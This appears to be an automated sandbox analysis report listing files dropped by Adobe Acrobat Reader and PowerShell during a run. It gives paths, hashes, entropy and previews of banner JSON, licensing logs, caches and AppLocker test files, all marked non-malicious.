Preview:	{"analyticsData":{"responseGUID":"b128e592-b343-43d8-898d-48a989b14599","sophiaUUID":"0515ACAE-DCC7-4733-8101-9751FF724CB9"},"encodingScheme":true,"expirationDTS":1736702615097,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.311255678337428
Encrypted:	false
SSDEEP:	6:YEQXJ2HXoq/GDtVwQdhlzFkF0Yg34oAvJf+dPeUkwRe9:YvXKXYDHZnG28Ukee9
MD5:	F046B5284A992A6CD515FA184E5B1B3C
SHA1:	8020EF865C718C4FCF2B04F0FBEB6CF25647D092
SHA-256:	9003E7051539301254094B366F815DC7B6F551A8DC9B2F58BF6E6B6EC02D1FB8
SHA-512:	BB5BF3344306D94F2B517D5FD4414CA84220188CF7D69DB126E3131495EDA4AC1604677C8B3AF021315AB0676B3261873E761947BE91F153C08B5B45B3CDB3EC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b128e592-b343-43d8-898d-48a989b14599","sophiaUUID":"0515ACAE-DCC7-4733-8101-9751FF724CB9"},"encodingScheme":true,"expirationDTS":1736702615097,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.308146089997347
Encrypted:	false
SSDEEP:	6:YEQXJ2HXoq/GDtVwQdhlzFkF0Yg34oAvJfbPtdPeUkwRe9:YvXKXYDHZnGDV8Ukee9
MD5:	D044909A5E33CB10D1342ABA4310E4B7
SHA1:	D3B0584663734C98AEE5AB0F6EE6F98D9B8BF3C4
SHA-256:	B071A522CCE63692F0763CD5B12FE1941810679F09694DC0C528C0BFF2ACA95F
SHA-512:	ACD45D6A8F069895C6E791DC125B4941E755DFFE50474DD21DABC3691898FD36F03427B5B1C5C03E36EF5C15EA1F4F436FB265FC582769226E06C7112B3C7D40
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b128e592-b343-43d8-898d-48a989b14599","sophiaUUID":"0515ACAE-DCC7-4733-8101-9751FF724CB9"},"encodingScheme":true,"expirationDTS":1736702615097,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.307217501725814
Encrypted:	false
SSDEEP:	6:YEQXJ2HXoq/GDtVwQdhlzFkF0Yg34oAvJf21rPeUkwRe9:YvXKXYDHZnG+16Ukee9
MD5:	44D3F30CE44B7FFE21F228F7775552EE
SHA1:	51CFF7DD60816F56C512C2B10656F542338DD10A
SHA-256:	FC9D0B5DFEE5A9730B2BF3A5F41BB9A7CAD004F913471E42D68CA18ACA275B7F
SHA-512:	E54C08BC26F8FB8848281E513D06C403234EFC1D29EAB56A18FC946E7A8A7A9F8B3BE32CD6164A0EA7CE5A2099C8FF77AF512B58858381990DBC96104538C7D9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b128e592-b343-43d8-898d-48a989b14599","sophiaUUID":"0515ACAE-DCC7-4733-8101-9751FF724CB9"},"encodingScheme":true,"expirationDTS":1736702615097,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.67134472345087
Encrypted:	false
SSDEEP:	24:Yv6XYDHZYamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSk:Yv7HZeBgkDMUJUAh8cvMk
MD5:	FE1C6BD61CD602DF892FC777664D3493
SHA1:	CB943A98A98DCC00D33A589F88C39E4EE404E11A
SHA-256:	A85BF62DE1C56771B5D8BC5424FB3198B3F79ECD4AD97ED27E103E753FF97BEB
SHA-512:	9A0A4BEF4E4FFB4AFDED7016C6F53584A7E88E6CC6B919DC7707A7C1D44EE255B88EB5CA2EADBAFD3F8A9F5F54D3B2251054D141E212F3713A21DD7B76EAE046
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b128e592-b343-43d8-898d-48a989b14599","sophiaUUID":"0515ACAE-DCC7-4733-8101-9751FF724CB9"},"encodingScheme":true,"expirationDTS":1736702615097,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.281083546264766
Encrypted:	false
SSDEEP:	6:YEQXJ2HXoq/GDtVwQdhlzFkF0Yg34oAvJfshHHrPeUkwRe9:YvXKXYDHZnGUUUkee9
MD5:	323E956E6658484A80EA79BC58F38381
SHA1:	DB579D22D2B4A1D83FE7FB00057AC72189336031
SHA-256:	188ED6C8E912B10131B87F2CE318B04F745C5B7CC4C3A4CA7CB370725469B249
SHA-512:	7EE26A760D66A2FD36967608D6936EFBA16B7582A8F1CAC9BA37707240B3EC494FB0E5B0BD05145CCBD541B1E1C0F95FEB6BE86F1ED6B8D5C02660B5F22D9F8B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b128e592-b343-43d8-898d-48a989b14599","sophiaUUID":"0515ACAE-DCC7-4733-8101-9751FF724CB9"},"encodingScheme":true,"expirationDTS":1736702615097,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.2952413839658705
Encrypted:	false
SSDEEP:	6:YEQXJ2HXoq/GDtVwQdhlzFkF0Yg34oAvJTqgFCrPeUkwRe9:YvXKXYDHZnGTq16Ukee9
MD5:	FE517839BBC5209F154FC222EDDAD55C
SHA1:	DF1F5C73432A41199CE45E27A776DFD4749724D5
SHA-256:	7D0915F9084DC790D78F403F495EB53307D0A3226201C6466FC8C3212C51ACDD
SHA-512:	B7A88B7D73687E9982B1DD77686C85784DFE5F0ABBBBBD21F027304129BC2E7A8EE59EE866355F7A746AC12E4EB0810381E0FD97CF8AC412B586E017CAED06B6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b128e592-b343-43d8-898d-48a989b14599","sophiaUUID":"0515ACAE-DCC7-4733-8101-9751FF724CB9"},"encodingScheme":true,"expirationDTS":1736702615097,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.143296587507132
Encrypted:	false
SSDEEP:	24:YwILdga3wfayaGDhiQSbXztWfeKYBdxzdfgNOtjASEqj0S8VYE6pw2D2LS8PCMdh:YB1GwxqeKY7bAS7yBS+Tdh9NfxUkY9H0
MD5:	E5666E47B8D551821BDD45B9C8F96463
SHA1:	683B5992CDFE6F188366A6BE1EDE06EF86A4F2D7
SHA-256:	2BC52BFABF497B5BF0F9E3B7C49092156B4FC682BC35B4F0189D10CC5C06558F
SHA-512:	B155C915A57ED112A2FE78435B8C542B204ABEF4A44BFB2CD2C0E91C5C43B51BF5FB9FAEE9475F080C9AB9DFB321C4F2CBF50417DF89732A0F5408003636487C
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"81772887f37fdc8ecc9fb0fb0ec4db93","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736528074000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"a48c222c0355bffa3f1343f346698729","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736528074000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"d1dfdce99dd182a36837e47a3d1a8d27","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736528074000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"5b2bdd45cb7bf8c2a22529a89fc389ef","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736528074000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"77b60c81bedf53f3bc2a96539eba8164","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736528074000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"5b5847ac75fe21f1eaea54d4906b8e9e","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 26, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 26
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3642800976840597
Encrypted:	false
SSDEEP:	48:Tll2GL7msMF6gU9rtPth0Ob1lSvp2InKNoz:fVmsMF6v9rtPth0Ob1l0gIKSz
MD5:	6FB25D3DC18F7337174902DA911ACFDE
SHA1:	1BE84A1DD0E51F2085077AA446407DD43E7948C1
SHA-256:	91C82C3B434E448EE19E757E10D0B60004EDA6BBF616B29F8453537BE2C70AB4
SHA-512:	1E2AA92EA31EC3A48C2CD5772AF424896EBAB2434AFEC810F9FF0E87479EA25345C6947139216138267DE342A1D7EDE937D485BB612036203E4B2A8C66D2A30A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.8407098177678436
Encrypted:	false
SSDEEP:	48:7MoGF6gU9rtPth0Ob1lSvp2IOKNqpqGufl2GL7msL:7RGF6v9rtPth0Ob1l0gI3EpKNVmsL
MD5:	C1CC2D7B5BC715170F4A9289B3C8278E
SHA1:	C708EB988CC74F2CA04DA9957DDC1DCD0F7467FE
SHA-256:	93087E9FA3CDAE8E223309825EA567A8DEE51C2A323AC594E453F55B3809A9A4
SHA-512:	4ABCF92D97C3FDF43E8F46B2C053D0F1DBA7D68EB9DD3912E2A700335B96290FD41DFDDE9A86350A6A20B6FF9D23EF8FE40F93318F895E8EAB16320A33E1FED4
Malicious:	false
Preview:	.... .c.......;Q..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.-.-.-.-.-.-.-.-.-.-.-........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgue4AGvBFe5ILrFIFgPJzN54O2Yyu:6a6TZ44ADEu9vZFe5IXN4O2K
MD5:	38A1844D746E74DF4AA2DDB986B6D048
SHA1:	DD366A9D2C411F4FAD1BCEF4C4FF8A9B89D10D39
SHA-256:	C948DDBF06753EFE4C5E0D754232017FC5E3DE0B44797496EDF33EC7DE0788A1
SHA-512:	C778390684208C621CEDDC417CAB375632AC06977E194E3AD1E92DF614982BE3C01250BA4A5B4888294E1B5A68ABA10C70EFCBC091FC581E800577C7BD1A24AD
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1628158735648508
Encrypted:	false
SSDEEP:	3:Nllluldhz/lL:NllU
MD5:	03744CE5681CB7F5E53A02F19FA22067
SHA1:	234FB09010F6714453C83795D8CF3250D871D4DF
SHA-256:	88348573B57BA21639837E3AF19A00B4D7889E2D8E90A923151AC022D2946E5D
SHA-512:	0C05D6047DBA2286F8F72EB69A69919DC5650F96E8EE759BA9B3FC10BE793F3A88408457E700936BCACA02816CE25DD53F48B962491E7F4F0A4A534D88A855E6
Malicious:	false
Preview:	@...e.................................L..............@..........

C:\Users\user\AppData\Local\Temp\MSId485a.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.504899586627176
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClE9WWH:Qw946cPbiOxDlbYnuRK+bDt
MD5:	75E1C8C517E3DC2959D69F6F26D94BB3
SHA1:	3B407AD2E96C698E3EA4AB0BFBBED9849122A001
SHA-256:	9B14D650932693E56A825AEBFA011FFDD5FF0CDE168DB3723D5F97D758EDB36E
SHA-512:	3D4872C76985996311D9CE3118C8CADF75D0782ED6EBE96DCC93811A9AD3668AF3C977CED1C6180428DC3E3F680C6D0F86CDA99B26B02A055E99103F29DDC8BC
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.1.:.5.4.:.3.1. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5hxsxxmm.sbs.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w1ote22p.yjl.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 11-54-25-818.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.325555449275219
Encrypted:	false
SSDEEP:	384:JekpMW7ujsO+Z3k/V1WPGHEQRmpvtV7C36g2OwfBhBUtBX66p0o6V6xG4W7wtNF2:nO2
MD5:	39628FA3AE1A78F558A4947A4847C830
SHA1:	083A80F18FBEA378E9944FF9B6B74FE68CD56D92
SHA-256:	E634D52BBCA86894E6CF9CA673A8FA4035AD705990F27198651E88F969FE73AC
SHA-512:	F488D486C5DA8E071B212070005D5F91E4D06CD8D6E65BBBA1D8D5CE9FE929C8935841A93180297EE8B4F50069F06455850DAFAB1525B2F33797248BEDBF0A69
Malicious:	false
Preview:	SessionID=ee10203f-55ea-443a-a3fb-eaf6336a26b5.1696508793278 Timestamp=2023-10-05T14:26:33:278+0200 ThreadID=5108 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=ee10203f-55ea-443a-a3fb-eaf6336a26b5.1696508793278 Timestamp=2023-10-05T14:26:33:279+0200 ThreadID=5108 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=ee10203f-55ea-443a-a3fb-eaf6336a26b5.1696508793278 Timestamp=2023-10-05T14:26:33:279+0200 ThreadID=5108 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=ee10203f-55ea-443a-a3fb-eaf6336a26b5.1696508793278 Timestamp=2023-10-05T14:26:33:279+0200 ThreadID=5108 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=ee10203f-55ea-443a-a3fb-eaf6336a26b5.1696508793278 Timestamp=2023-10-05T14:26:33:279+0200 ThreadID=5108 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3742301756769875
Encrypted:	false
SSDEEP:	384:r+UHs+Bhw5lnISpoV7YVx+rdq9bFKDvNSBRH9BHKGd34+sBsqPGeSyzS7qgYZqya:5a5
MD5:	38C7D6E5866FCEC181996A4A94F823C1
SHA1:	BD9C26156C38AB5FEB74ACF8F1C085439B9AAA82
SHA-256:	EBC5ACB8EBB97B3715C746FB2048ACB9A48FA118F0D3C43CAC6693EC7D9979BC
SHA-512:	039AA4DD52DCAC59ABAB833727B5F6F40A1C94F8B6494D19B7CDB5DE01243FB96A29639047B4B603A0EA43837B0F00593473856DC47658F0DDD755336EAE4705
Malicious:	false
Preview:	SessionID=15e6b191-23c9-4b17-8355-f8d97b914efd.1736528065834 Timestamp=2025-01-10T11:54:25:834-0500 ThreadID=7704 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=15e6b191-23c9-4b17-8355-f8d97b914efd.1736528065834 Timestamp=2025-01-10T11:54:25:836-0500 ThreadID=7704 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=15e6b191-23c9-4b17-8355-f8d97b914efd.1736528065834 Timestamp=2025-01-10T11:54:25:836-0500 ThreadID=7704 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=15e6b191-23c9-4b17-8355-f8d97b914efd.1736528065834 Timestamp=2025-01-10T11:54:25:836-0500 ThreadID=7704 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=15e6b191-23c9-4b17-8355-f8d97b914efd.1736528065834 Timestamp=2025-01-10T11:54:25:836-0500 ThreadID=7704 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.402839275883814
Encrypted:	false
SSDEEP:	768:SllhexEhcIWcsRoUh39w7P/t8k+yyUXhSDWpLNLawCIJ:SllhexEhcIWcsRoUh39w7P/t8k+yyUXz
MD5:	384303A8C1D16BA67D6E2D504A184BE5
SHA1:	01BDA08AE4D06B0286672F941AFAEABADD96C5EF
SHA-256:	357349898998BA59A205668550F5B659B77717F036C05CA9037514AB5E5D353B
SHA-512:	49770167723002ED3A56D0631A7736538C9708878053ED3C6A09ADD08354E3D6D69CC37921D7049A25C4A98CC7E9353C9BAEBE1B4393B425C5F883EFE0F1BE4C
Malicious:	false
Preview:	05-10-2023 02:07:19:.---2---..05-10-2023 02:07:19:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 02:07:19:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 02:07:19:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 02:07:19:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 02:07:19:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 02:07:19:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 02:07:19:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 02:07:19:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 02:07:19:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 02:07:19:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 02:07:19:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\1b1f9a6b-69e8-4681-9098-5af3f9b86f0b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\4f121327-f632-4c00-9903-f1d9ae67b9d1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
